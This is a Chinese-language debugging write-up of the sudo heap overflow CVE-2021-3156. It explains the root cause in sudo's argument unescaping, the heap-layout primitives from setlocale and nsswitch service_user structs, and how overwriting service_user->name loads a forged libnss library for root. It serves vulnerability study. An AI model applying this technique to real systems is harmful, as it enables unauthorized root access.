cve-2021-3156调试分析

字数统计: 6.9k字   |   阅读时长≈ 33分

CVE-2021-3156 漏洞，可以实现 sudo提权，在20.10上的危害也非常大。

漏洞环境

操作系统：ubuntu 18.04.1

sudo：1.8.21p2

glibc：2.27

exp：https://github.com/blasty/CVE-2021-3156.git

漏洞分析

CVE-2021-3156 ——sudo在处理单个反斜杠结尾的命令时，发生逻辑错误，存在堆溢出漏洞。当 sudo通过 -s 或 -i命令行选项在 shell模式下运行命令时，他将在命令参数中使用反斜杠转义特殊字符。但使用 -s或 -i标志运行 sudoedit时，实际上并未进行转义，从而导致堆溢出。

代码分析

sudo加上 -s选项会设置 MODE_SHELL，加上 -i选项会设置 MODE_SHELL和 MODE_LOGIN_SHELL。在 main()（sudo.c）函数中调用了parse_args()，parse_args()会连接所有命令行参数，并给元字符加反斜杠来重写 argv。

1
2
3
4
//sudo.c 
/* Parse command line arguments. */
    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
    sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);

parse_args()下面一段代码的主要功能是先判断是否启用了 -s或 -i的 MODE_SHELL，如果启用了就对参数前面加上反斜杠重写参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//parse_args.c   parse_args()
/*
     * For shell mode we need to rewrite argv
     */
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {	//检查是否开启 MODE_SHELL
	char **av, *cmnd = NULL;
	int ac = 1;

	if (argc != 0) {
	    /* shell -c "command" */
	    char *src, *dst;
	    size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
		strlen(argv[argc - 1]) + 1;

	    cmnd = dst = reallocarray(NULL, cmnd_size, 2);
	    if (cmnd == NULL)
		sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	    if (!gc_add(GC_PTR, cmnd))
		exit(1);

	    for (av = argv; *av != NULL; av++) {
		for (src = *av; *src != '\0'; src++) {
		    /* quote potential meta characters */
		    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
			*dst++ = '\\';	//添加反斜杠
		    *dst++ = *src;	//原参数
		}
		*dst++ = ' ';
	    }
	    if (cmnd != dst)
		dst--;  /* replace last space with a NUL */
	    *dst = '\0';

	    ac += 2; /* -c cmnd */
	}

在sudoers_policy_main()中调用了 set_cmnd()函数

1
2
3
4
5
//sudoers.c sudoers_policy_main()
    /* Find command in path and apply per-command Defaults. */
    cmnd_status = set_cmnd();
    if (cmnd_status == NOT_FOUND_ERROR)
	goto done;

在 set_cmnd()函数中，首先根据参数使用 strlen()函数计算了参数的 size，再调用 malloc()函数分配了 size大小的堆空间 user_args 。随后判断是否开启了 MODE_SHELL，如果开启了将会 连接命令行参数并存入堆空间 user_args。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// sudoers.c set_cmnd()	
/* set user_args */
	if (NewArgc > 1) {
	    char *to, *from, **av;
	    size_t size, n;

	    /* Alloc and build up user_args. */
	    for (size = 0, av = NewArgv + 1; *av; av++)
		size += strlen(*av) + 1;
	    if (size == 0 || (user_args = malloc(size)) == NULL) {
		sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
		debug_return_int(-1);
	    }
	    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {	//检查是否开启 MODE_SHELL或MODE_LOGIN_SHELL
		/*
		 * When running a command via a shell, the sudo front-end
		 * escapes potential meta chars.  We unescape non-spaces
		 * for sudoers matching and logging purposes.
		 */
		for (to = user_args, av = NewArgv + 1; (from = *av); av++) {	//from指向 命令参数
		    while (*from) {
			if (from[0] == '\\' && !isspace((unsigned char)from[1]))
			    from++;
			*to++ = *from++;	//将from拷贝到 user_args
		    }
		    *to++ = ' ';
		}
		*--to = '\0';
	    } else {
		for (to = user_args, av = NewArgv + 1; *av; av++) {
		    n = strlcpy(to, *av, size - (to - user_args));
		    if (n >= size - (to - user_args)) {
			sudo_warnx(U_("internal error, %s overflow"), __func__);
			debug_return_int(-1);
		    }
		    to += n;
		    *to++ = ' ';
		}
		*--to = '\0';
	    }
	}
    }

上面将命令行参数拷贝给堆空间的逻辑，如果命令行参数以1个反斜杠结尾例如 $ sudo -s / 112233 ：

  • from[0]是反斜杠，from[1]是 null 结束符（非空格），满足如下要求 if (from[0] == '\\' && !isspace((unsigned char)from[1])) ；
  • 所以，from 加1，指向 null 结束符；
  • null 结束符被拷贝到 user_args堆缓冲区， from又加1，from指向了null结束符后面第1个字符（超出参数的边界，此时为 1）；
  • 随后会继续循环将越界字符拷贝到 user_args堆缓冲区，发生了堆溢出漏洞

漏洞触发

上面指出，在 parse_args()会对启用了 -s或 -i的 MODE_SHELL和 MODE_RUN 的 sudo的参数加上 反斜杠 转义。

1
2
3
4
5
6
//parse_args.c parse_args()
    /*
     * For shell mode we need to rewrite argv
     */
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
	...

而 set_cmnd()函数中触发堆溢出前，会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个。那么就存在一个矛盾，如果要触发漏洞就需要启用 MODE_SHELL，但是如果启用了 MODE_SHELL，在 parse_args()函数中就会对所有参数转义，触发漏洞的 \，将会被转义为 \\，这样就无法触发漏洞了。

1
2
3
4
5
//sudoers.c set_cmnd()
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {	
    ...
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	...

所以这里 并没有使用 sudo，而是使用 sudoedit。原因在于如果使用 sudoedit，其还是会被软链接到使用 sudo命令，但是在 parse_args()函数中会自动设置 MODE_EDIT和不会重置 valid_flags，则 MODE_SHELL仍然在 valid_flags中 ，而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分，同时满足 set_cmnd()函数中漏洞触发的部分。

1
2
3
4
5
6
7
8
9
10
11
12
//parse_args.c parse_args()
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
int valid_flags = DEFAULT_VALID_FLAGS; 	//valid_flags默认参数包含MODE_SHELL，不包含MODE_RUN
...
/* First, check to see if we were invoked as "sudoedit". */
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
	progname = "sudoedit";
	mode = MODE_EDIT;	//设置MODE_EDIT
	sudo_settings[ARG_SUDOEDIT].value = "true";
    }

注意：这里还要解释一下该漏洞可利用的几个有利点（参考该文）：

  • user_agrs堆空间的 size是可控的，就是我们输入的 命令参数合并后的长度；

  • 我们溢出的内容是可控的，取决于我们输入的 \后的字符内容，该字符会全部被溢出写到堆块后；

  • 可以写 null字节到 user_args，每个以单反斜杠结尾的命令行参数或环境变量，都能往user_args写1个null字节

  • 可以写连续多个 null，环境变量并不一定得是env_name=XXX这种形式，环境变量可以是字符串数组。C代码中用execve执行shell命令，环境变量设置2个连续的\即可插入2个连续的null字节。

1
2
char *env[] = { "AAA", "\\", "\\", "BBB", NULL };
execve("/usr/bin/sudoedit", argv, env);

基础知识

在进行漏洞调试之前，首先需要对漏洞利用用到的各种知识有一个大概了解。

setlocale函数

漏洞利用会使用 setlocale函数来进行堆布局。_nl_global_locale 是一个全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
extern struct __locale_struct _nl_global_locale attribute_hidden;

struct __locale_struct
{
  /* Note: LC_ALL is not a valid index into this array.  */
  struct __locale_data *__locales[13]; /* 13 = __LC_LAST. */

  /* To increase the speed of this solution we add some special members.  */
  const unsigned short int *__ctype_b;
  const int *__ctype_tolower;
  const int *__ctype_toupper;

  /* Note: LC_ALL is not a valid index into this array.  */
  const char *__names[13];
};

主要关注其 _names成员，_name是一个数组，长度为13，下标值在代码中称为 category，不同 category值表示含义如下所示：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//glibc-2.31\locale\locale.h
#define LC_CTYPE          __LC_CTYPE
#define LC_NUMERIC        __LC_NUMERIC
#define LC_TIME           __LC_TIME
#define LC_COLLATE        __LC_COLLATE
#define LC_MONETARY       __LC_MONETARY
#define LC_MESSAGES       __LC_MESSAGES
#define  LC_ALL        __LC_ALL
#define LC_PAPER    __LC_PAPER
#define LC_NAME        __LC_NAME
#define LC_ADDRESS     __LC_ADDRESS
#define LC_TELEPHONE   __LC_TELEPHONE
#define LC_MEASUREMENT    __LC_MEASUREMENT
#define LC_IDENTIFICATION __LC_IDENTIFICATION

//glibc-2.31\locale\bits\locale.h
#define __LC_CTYPE       0
#define __LC_NUMERIC     1
#define __LC_TIME     2
#define __LC_COLLATE     3
#define __LC_MONETARY       4
#define __LC_MESSAGES       5
#define __LC_ALL      6
#define __LC_PAPER       7
#define __LC_NAME     8
#define __LC_ADDRESS     9
#define __LC_TELEPHONE     10
#define __LC_MEASUREMENT   11
#define __LC_IDENTIFICATION   12

除了 LC_ALL，如果其余值一样，比如都是 C.UTF-8，那么 LC_ALL的值也是 C.UTF-8。

如果不是完全一样，那么 LC_ALL的值就是 LC_CTYPE= ...;LC_NUMERIC=...;LC_IDENTIFICATION=....

setlocale(LC_ALL, “”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
     int category, const char **name)
{
  int mask;
  /* Name of the locale for this category.  */
  const char *cloc_name = *name;
  const char *language;
  const char *modifier;
  const char *territory;
  const char *codeset;
  const char *normalized_codeset;
  struct loaded_l10nfile *locale_file;
  if (cloc_name[0] == '\0')
    {
      /* The user decides which locale to use by setting environment
   variables.  */
      cloc_name = getenv ("LC_ALL");
      if (!name_present (cloc_name))
  cloc_name = getenv (_nl_category_names_get (category));
      if (!name_present (cloc_name))
  cloc_name = getenv ("LANG");
      if (!name_present (cloc_name))
  cloc_name = _nl_C_name;
    }
  1. cloc_name的值来源是先读取环境变量 LC_ALL，若没有再根据 category的值去读取对应的环境变量，exp代码都是通过环境变量来控制 clonc_name的，因此 cloc_name的值最初就是来源于设置的环境变量，且 cloc_name的值最终会拷贝到堆块，并将字符串指针存入 _nl_global_locale._names
  2. 函数 _nl_find_locale设置的是除 LC_ALL以外的其他 category的值，LC_ALL的值是由 new_composite_name函数确定，逻辑已在上述中说明
  3. 设置 LC_ 的值是从尾部开始的，也就是 category的值是从 12~0来遍历的（跳过6，即 LC_ALL)

setlocale(LC_ALL, "")函数主要就是会根据环境变量申请对应字符大小的堆块，并设置 _nl_global_locale.__names的值为该堆块指针。这里相当于存在一个 malloc操作。

setlocale(LC_ALL,NULL)

该函数将会返回 _nl_global_locale.__names中 LC_ALL对应的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//glibc-2.31\locale\setlocale.c
char *
setlocale (int category, const char *locale)
{
  char *locale_path;
  size_t locale_path_len;
  const char *locpath_var;
  char *composite;
  /* Sanity check for CATEGORY argument.  */
  if (__builtin_expect (category, 0) < 0
      || __builtin_expect (category, 0) >= __LC_LAST)
    ERROR_RETURN;
  /* Does user want name of current locale?  */
  if (locale == NULL)
    return (char *) _nl_global_locale.__names[category];

setlocale(LC_ALL, “C”)

C是 _nl_global_locale.__names的默认值或初始值，在代码中以 _nl_c_name表示。 setlocale(LC_ALL,"C")执行的结果是将 _nl_global_locale.__names的值都变成指向字符串 C的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//glibc-2.31\locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
     int category, const char **name)
{
  int mask;
  /* Name of the locale for this category.  */
  const char *cloc_name = *name;
  const char *language;
  const char *modifier;
  const char *territory;
  const char *codeset;
  const char *normalized_codeset;
  struct loaded_l10nfile *locale_file;
  if (cloc_name[0] == '\0') //此时if条件不满足，因为cloc_name[0]='C'
    {
      /* The user decides which locale to use by setting environment
   variables.  */
      cloc_name = getenv ("LC_ALL");
      if (!name_present (cloc_name))
  cloc_name = getenv (_nl_category_names_get (category));
      if (!name_present (cloc_name))
  cloc_name = getenv ("LANG");
      if (!name_present (cloc_name))
  cloc_name = _nl_C_name;
    }
  /* We used to fall back to the C locale if the name contains a slash
     character '/', but we now check for directory traversal in
     valid_locale_name, so this is no longer necessary.  */
  if (__builtin_expect (strcmp (cloc_name, _nl_C_name), 1) == 0 //cloc_name==_nl_C_name，条件满足
      || __builtin_expect (strcmp (cloc_name, _nl_POSIX_name), 1) == 0)
    {
      /* We need not load anything.  The needed data is contained in
   the library itself.  */
      *name = _nl_C_name;
      return _nl_C[category];
    }

setname()

该函数是用于设置 _nl_global_locale.__names的代码，此处的 name与上述代码的 name不是同一个变量，但是指向的字符串内容是一样的，并且 setname函数中的 name是指向堆的（除了 _nl_c_name是个全局变量），每次修改 _nl_global_locale.__names的值，会将原先的 chunk进行free.

1
2
3
4
5
6
7
8
9
10
//glibc-2.31\locale\setlocale.c
static void
setname (int category, const char *name)
{
  if (_nl_global_locale.__names[category] == name)
    return;
  if (_nl_global_locale.__names[category] != _nl_C_name)
    free ((char *) _nl_global_locale.__names[category]);
  _nl_global_locale.__names[category] = name;
}

setlocale(LC_ALL, “XXX”)

如果”xxx”是一个正常值，那么就是会分析出 xxx是否存在分号来判断是设置全部 LC_的值为同一个还是各自设置的不一样。

若存在 ；，那么 xxx的结果应该是如 LC_CTYPE=...;LC_NUMERIC=...;...LC_IDENTIFICATION=...

如 setlocale函数中的代码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//in function setlocale
      if (__glibc_unlikely (strchr (locale, ';') != NULL)) //locale等于传入的“xxx”，比如“LC_CTYPE=c.utf8”
  {
    /* This is a composite name.  Make a copy and split it up.  */
    locale_copy = __strdup (locale);
    if (__glibc_unlikely (locale_copy == NULL))
      {
        __libc_rwlock_unlock (__libc_setlocale_lock);
        return NULL;
      }
    char *np = locale_copy;
    char *cp;
    int cnt;
    while ((cp = strchr (np, '=')) != NULL) //此时np指向"L",cp指向"="
      {
        for (cnt = 0; cnt < __LC_LAST; ++cnt)
    if (cnt != LC_ALL
        && (size_t) (cp - np) == _nl_category_name_sizes[cnt]//cp-np就是LC_CTYPE的长度：8，_nl_category_name_sizes则是根据cnt来获取不同LC_的名称的长度，如果长度一样则再进行字符串比较。
        && (memcmp (np, (_nl_category_names_get (cnt)), cp - np)
      == 0))
      break;
        if (cnt == __LC_LAST)
    {
    error_return:
      __libc_rwlock_unlock (__libc_setlocale_lock);
      free (locale_copy);
      /* Bogus category name.  */
      ERROR_RETURN;  //如果都不匹配，则直接退出
    }

下面解释在这篇文章中所说的，setlocale执行顺序：

https://p5.ssl.qhimg.com/t018eacccc24f75407b.png

  1. setlocale(LC_ALL, "")，从环境变量中设置 _nl_global_locale.__names，此时里面包含 ;x=x的形式的值，但不会被检测到
  2. saved_LC_ALL = setlocale(LC_ALL,NULL)，返回 LC_ALL的值，其中包含了 ;x=x的形式的值
  3. setlocale(LC_ALL,"C")，将 _nl_global_locale.__names中存储的堆区的字符串指针都释放了，值都变成了 _nl_C_name的地址
  4. setlocal(LC_ALL, saved_LC_ALL)，由于 saved_LC_ALL中存在 ;x=x导致直接返回，因此未修改 _nl_global_locale.__names
  5. 再次执行 saved_LC_ALL = setlocale(LC_ALL, NULL)，saved_LC_ALL="C"，因此之后 LC_ALL的值都会是 C，因为后面不会再执行 setlocale(LC_ALL, "")

service_user结构体的创建

可以先分析一下 service_user的调用链，来确定要具体的函数。这里需要重点关注的函数是 nss_parse_file\nss_getline\nss_parse_service_list。

nss_parse_file

解析的文件是 /etc/nsswitch.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files

hosts:          files mdns4_minimal [NOTFOUND=return] dns
networks:       files

protocols:      db files
services:       db files
ethers:         db files
rpc:            db files

netgroup:       nis

nss_parse_file代码如下，

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  char *line;
  size_t len;

  /* Open the configuration file.  */
  fp = fopen (fname, "rce");
  if (fp == NULL)
    return NULL;

  /* No threads use this stream.  */
  __fsetlocking (fp, FSETLOCKING_BYCALLER);

  result = (name_database *) malloc (sizeof (name_database));	//0x20
  if (result == NULL)
    {
      fclose (fp);
      return NULL;
    }

  result->entry = NULL;
  result->library = NULL;
  last = NULL;
  line = NULL;
  len = 0;
  do
    {
      name_database_entry *this;
      ssize_t n;

      n = __getline (&line, &len, fp);	//默认申请0x80的chunk用于读取每行
      if (n < 0)
	break;
      if (line[n - 1] == '\n')
	line[n - 1] = '\0';

      /* Because the file format does not know any form of quoting we
	 can search forward for the next '#' character and if found
	 make it terminating the line.  */
      *__strchrnul (line, '#') = '\0';	//注释行直接跳过

      /* If the line is blank it is ignored.  */
      if (line[0] == '\0')
	continue;

      /* Each line completely specifies the actions for a database.  */
      this = nss_getline (line);	//有效行进入 nss_getline
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!__feof_unlocked (fp));

  /* Free the buffer.  */
  free (line);	//释放line，会释放一个0x80的chunk，再大于glibc-2.25的情况下，大概率放入tcachebins
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

nss_getline

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//glibc-2.31\nss\nsswitch.c
static name_database_entry *
nss_getline (char *line)
{
  const char *name;
  name_database_entry *result;
  size_t len;
  /* Ignore leading white spaces.  ATTENTION: this is different from
     what is implemented in Solaris.  The Solaris man page says a line
     beginning with a white space character is ignored.  We regard
     this as just another misfeature in Solaris.  */
  while (isspace (line[0]))
    ++line;
  /* Recognize `<database> ":"'.  */
  name = line;
  while (line[0] != '\0' && !isspace (line[0]) && line[0] != ':')//line指到空格或者":"
    ++line;
  if (line[0] == '\0' || name == line)
    /* Syntax error.  */
    return NULL;
  *line++ = '\0';//以第一行为例，此时*name="passwd"
  len = strlen (name) + 1;
  result = (name_database_entry *) malloc (sizeof (name_database_entry) + len);//sizeof(name_database_entry)=0x10，最后申请到chunk的大小根据len的长度确定。
  if (result == NULL)
    return NULL;
  /* Save the database name.  */
  memcpy (result->name, name, len);//result->name的值就是每行开头的词
  /* Parse the list of services.  */
  result->service = nss_parse_service_list (line);//此处就会创建service_user结构体,并且line已经指向"："后面的字符了
  result->next = NULL;
  return result;
}

这个函数是对 nssswitch.conf文件中的每一行进行解析，这里会根据 name的长度申请对应大小的chunk，并为其创建 service_user结构体。

name_database_entry结构体声明如下：

1
2
3
4
5
6
7
8
9
10
//glibc-2.31\nss\nsswitch.h
typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

在 nssswitch.conf中每一行冒号前面的单词会对应一个 name_database_entry结构体，结构体包含两个指针以及一个字符数组。两个指针固定为 0x10大小，当name的长度小于 8字节时，申请chunk也为 0x20。

nss_parse_service_list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//glibc-2.31\nss\nsswitch.c
static service_user *
nss_parse_service_list (const char *line)
{
  service_user *result = NULL, **nextp = &result;
  while (1)
    {
      service_user *new_service;
      const char *name;
      while (isspace (line[0]))
  ++line;//跳过空字符
      if (line[0] == '\0')
  /* No source specified.  */
  return result;
      /* Read <source> identifier.  */
      name = line;
      while (line[0] != '\0' && !isspace (line[0]) && line[0] != '[')//找寻第一个单词，不同单词通过空格分隔
  ++line;
      if (name == line)
  return result;
      new_service = (service_user *) malloc (sizeof (service_user)
               + (line - name + 1));//申请了用于存放service_user结构体的堆内存。

该函数就是创建 service_user结构体的函数，service_user结构体内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//glibc-2.31\nss\nsswitch.h
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

不算 name字段，也就是 sizeof(service_user)=0x30，那么申请 chunk大小计算原理同 name_database_entry一样。

总结

通过对 setlocale和 service_user的分析，那么我们能够找到 malloc和 free原语，通过这两者的结合，可以方便我们很好的调整堆内存布局。

漏洞调试

漏洞触发点

最开始想自己编译一个 sudo，带符号的调试更方便。但是这样会导致漏洞执行不成功。所以就只有用系统自带的无符号的sudo进行调试。

首先使用如下命令运行 exp:

1
sduo gdb --args ./sudo-hax-me-a-sandwich 0

随后，在 execve下断点：

1
catch exec

再运行该 continue。

随后，gdb会断在 execve函数。我们在下断点 b setlocale，在继续运行，此时就会停在 setlocale函数。该函数是我们在执行 sudo最开始时会调用的。我们 finish后，就能够进入 sudo的 main函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//sudo.c
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, ok, status = 0;
    char **nargv, **env_add;
    char **user_info, **command_info, **argv_out, **user_env_out;
    struct sudo_settings *settings;
    struct plugin_container *plugin, *next;
    sigset_t mask;
    debug_decl_vars(main, SUDO_DEBUG_MAIN)

    /* Make sure fds 0-2 are open and do OS-specific initialization. */
    fix_fds();
    os_init(argc, argv, envp);

    setlocale(LC_ALL, "");
    ...

随后，我们需要进入 set_cmnd函数。这里我是先通过 sudo的main函数运行加载完 sudoers.so动态库后，下的地址断点。通过分析 sudoers.so的汇编，能够找到下图是上面分析的漏洞代码的开始处：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
//sudoers.so
.text:000000000001D988                 add     r13, 8
.text:000000000001D98C ; 345:     v21 = strlen(av);
.text:000000000001D98C                 call    _strlen
.text:000000000001D991 ; 346:     av = *v20;
.text:000000000001D991 ; 349:   while ( *v20 );
.text:000000000001D991                 mov     rdi, [r13+0]
.text:000000000001D995 ; 347:     size += v21 + 1;
.text:000000000001D995                 lea     r14, [r14+rax+1]
.text:000000000001D99A                 test    rdi, rdi
.text:000000000001D99D                 jnz     short loc_1D988
.text:000000000001D99F ; 350:   if ( !size || (user_args = (unsigned __int8 *)malloc(size), to = user_args, (qword_256970 = (__int64)user_args) == 0) )
.text:000000000001D99F                 test    r14, r14
.text:000000000001D9A2                 jz      loc_1E4D0
.text:000000000001D9A8                 mov     rdi, r14        ; size
.text:000000000001D9AB                 call    _malloc         ; set_cmnd
.text:000000000001D9B0                 test    rax, rax
.text:000000000001D9B3                 mov     r13, rax
.text:000000000001D9B6                 mov     cs:qword_256970, rax
.text:000000000001D9BD                 jz      loc_1E4D0
.text:000000000001D9C3 ; 364:   if ( (sudo_mode & 0x60000) != 0 )
.text:000000000001D9C3                 test    dword ptr cs:2568F0h, 60000h
.text:000000000001D9CD ; 363:   from = (unsigned __int8 *)v16[1];
.text:000000000001D9CD                 mov     r15, [r15+8]
.text:000000000001D9D1                 jz      loc_1E0E0
.text:000000000001D9D7 ; 366:     if ( from )
.text:000000000001D9D7                 test    r15, r15
.text:000000000001D9DA                 jz      loc_1E288
.text:000000000001D9E0 ; 368:       while ( 1 )
.text:000000000001D9E0
.text:000000000001D9E0 loc_1D9E0:                              ; CODE XREF: sub_1D5C0+CC0↓j
.text:000000000001D9E0                 movzx   eax, byte ptr [r15]
.text:000000000001D9E4                 test    al, al
.text:000000000001D9E6                 jnz     short loc_1DA12
.text:000000000001D9E8                 jmp     loc_1E268
.text:000000000001D9E8 ; ---------------------------------------------------------------------------
.text:000000000001D9ED                 align 10h
.text:000000000001D9F0 ; 375:             v26 = *from;
.text:000000000001D9F0
.text:000000000001D9F0 loc_1D9F0:                              ; CODE XREF: sub_1D5C0+458↓j
.text:000000000001D9F0                                         ; sub_1D5C0+46F↓j
.text:000000000001D9F0                 mov     rax, r14
.text:000000000001D9F3                 movzx   edx, byte ptr [r15]
.text:000000000001D9F7 ; 376:             v27 = from++;
.text:000000000001D9F7                 mov     r14, r15
.text:000000000001D9FA                 mov     r15, rax
.text:000000000001D9FD ; 382:           *to++ = v26;
.text:000000000001D9FD
.text:000000000001D9FD loc_1D9FD:                              ; CODE XREF: sub_1D5C0+475↓j
.text:000000000001D9FD                 add     r13, 1
.text:000000000001DA01                 mov     [r13-1], dl
.text:000000000001DA05 ; 370:         for ( from0 = *from; from0; from0 = v27[1] )
.text:000000000001DA05                 movzx   eax, byte ptr [r14+1]
.text:000000000001DA0A                 test    al, al
.text:000000000001DA0C                 jz      loc_1E268
.text:000000000001DA12 ; 372:           v27 = from + 1;
.text:000000000001DA12
.text:000000000001DA12 loc_1DA12:                              ; CODE XREF: sub_1D5C0+426↑j
.text:000000000001DA12                 cmp     al, 5Ch ; '\'
.text:000000000001DA14                 lea     r14, [r15+1]
.text:000000000001DA18 ; 373:           if ( from0 != '\\' || (v28 = __ctype_b_loc(), v26 = from[1], ((*v28)[v26] & 0x2000) != 0) )
.text:000000000001DA18                 jnz     short loc_1D9F0
.text:000000000001DA1A                 call    ___ctype_b_loc
.text:000000000001DA1F                 movzx   ecx, byte ptr [r15+1]
.text:000000000001DA24                 mov     rax, [rax]
.text:000000000001DA27                 test    byte ptr [rax+rcx*2+1], 20h
.text:000000000001DA2C                 mov     rdx, rcx
.text:000000000001DA2F                 jnz     short loc_1D9F0
.text:000000000001DA31 ; 380:             from += 2;
.text:000000000001DA31                 add     r15, 2
.text:000000000001DA35                 jmp     short loc_1D9FD

image-20210203144946310

直接在 malloc()函数的地址处下断点，就能够得到 user_args堆块的地址，如下图所示：

image-20210203144855345

提权方法

这里需要先介绍一下该漏洞所使用的提权方法，先了解一个结构体 service_user 和一个函数 nss_load_library。在 service_user结构体中指定了要动态加载的动态链接库，如果能够修改 service_user->name，那么就能指定加载伪造的动态链接库。而 nss_load_library函数就是加载动态链接库的函数，其会调用 __libc_dlopen打开动态库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
typedef struct service_library
{
  /* Name of service (`files', `dns', `nis', ...).  */
  const char *name;
  /* Pointer to the loaded shared library.  */
  void *lib_handle;
  /* And the link to the next entry.  */
  struct service_library *next;
} service_library;

// 1. service_user 结构
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,   // （1）设置 ni->library
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,   // （2）伪造的库文件名必须是 libnss_xxx.so
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name); // （3）加载目标库
      //continue long long function

这里需要注意 nss_load_library需要满足 ni->library != null和ni->library->lib_handle == NULL才能加载新库。

也就是我们需要将 ni->library覆盖为 null，将 ni->name覆盖我们自己伪造的库名字，且伪造的库文件名必须是 libnss_xxx.so。

那么，难点就是如何仅通过一个 堆溢出去覆盖一个 service_user结构。这里的方法是，在一个 service_user结构体前面释放一个堆块，然后 分配 user_args分配到该堆块，随后使用堆溢出覆盖 service_user结构体。

然后，使用 search -s systemd [heap]命令搜索 堆块中的systemd字符串。来定位 service_user结构体的位置，如下所示，可以看到 0x5618621b5450处是一个 service_user结构体。

image-20210203144837649

而，通过malloc分配的 0x80 tcache位于 service_user结构体之前，相差 0x100。

image-20210203144911604

可以看到 service_user偏移 0x30处 是 systemd，而我们通过堆溢出可以看到我们将该结构体中的 name覆盖为 X/POP_SH3LLZ_（这里的 library在覆盖完后应该为 Null，但是我这里截图是在执行了 nss_new_service所截图，所以这里 library已经有了值）。

image-20210203150436384

image-20210203204611536

